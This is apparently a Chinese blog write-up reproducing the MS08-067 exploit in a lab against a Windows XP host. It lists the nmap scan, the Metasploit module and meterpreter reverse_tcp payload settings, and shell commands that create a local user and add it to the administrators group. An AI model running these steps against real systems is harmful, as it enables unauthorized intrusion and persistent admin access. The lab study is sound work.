MS08-067渗透攻击复现

子怡发布于 2023-06-04 99 次阅读

MS08-067渗透攻击复现收集目标网段下的情况，启动Metasploit进行搜索漏洞ms08-067，设置攻击模块和载荷，目标IP和端口，并开始攻击。接着进行后续渗透，查看权限并添加用户账户到管理员组。通过命令检查用户权限是否成功。

nmap 192.168.23.0/24

这里可以得知目标机器（192.168.23.137）在线

msfconsole

search ms08-067

 use 0
set payload windows/meterpreter/reverse_tcp
set rhost 192.168.23.137
set lhost 192.168.23.131
set lport 4444
set target 6

run

攻击成功

查看权限

getuid

执行shell，添加用户账户，并添加到管理员组

 shell
net user zjydiary 123456 /add
net localgroup administrators zjydiary /add

Winxp打开CMD查看刚刚创建的用户是否为管理员

net localgroup administrators

可以看到是的

查看评论 - NOTHING

暂无评论

要发表评论，您必须先登录。

	use 0
	set payload windows/meterpreter/reverse_tcp
	set rhost 192.168.23.137
	set lhost 192.168.23.131
	set lport 4444
	set target 6

	shell
	net user zjydiary 123456 /add
	net localgroup administrators zjydiary /add